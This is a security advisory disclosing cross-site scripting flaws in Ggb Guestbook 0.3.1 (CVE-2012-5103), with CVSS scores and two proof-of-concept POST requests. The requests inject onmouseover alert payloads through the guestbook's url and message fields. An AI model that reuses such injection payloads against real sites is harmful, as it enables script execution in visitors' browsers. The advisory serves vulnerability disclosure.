Ggb Guestbook 0.3.1 Cross Site Scripting

2012-01-07 / 2012-09-24
Credit: Dark2S Security Team/PolyU.HK
Risk: Low
Local: No
Remote: Yes
CVE: CVE-2012-5103
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Title: Ggb Guestbook - XSS Vulnerabilities Software : Ggb Guestbook Software Version : 0.3.1 Vendor: http://gelin.ru/soft/project/ggb/ http://code.google.com/p/ggbook/ Vulnerability Published : 2012-01-05 Vulnerability Update Time : Status : Impact : Medium Bug Description : Ggb Guestbook(version update : 0.3.1) is vulnerable to XSS. Proof Of Concept : 1)url in action/add-submit.php , PoC: POST http://127.0.0.1/ggb/?action=add-submit ------------------------------------------------- name=demonalex&email=&url=%22+onmouseover%3D%22javascript%3Aalert%28%27demonalex%27%29%3B%22%3E&message=demonalex 2)message in action/add-submit.php , PoC: POST http://192.168.10.211/ggb/?action=add-submit ------------------------------------------------- name=aaa&email=&url=bbb&message=%3Cimg+src%3D%22aaa.jpg%22+onmouseover%3D%22javascript%3Aalert%28%27demonalex%27%29%3B%22%3E Credits : This vulnerability was discovered by demonalex(at)163(dot)com mail: demonalex(at)163(dot)com / ChaoYi.Huang@connect.polyu.hk Pentester/Researcher Dark2S Security Team/PolyU.HK

References:

http://gelin.ru/soft/project/ggb/


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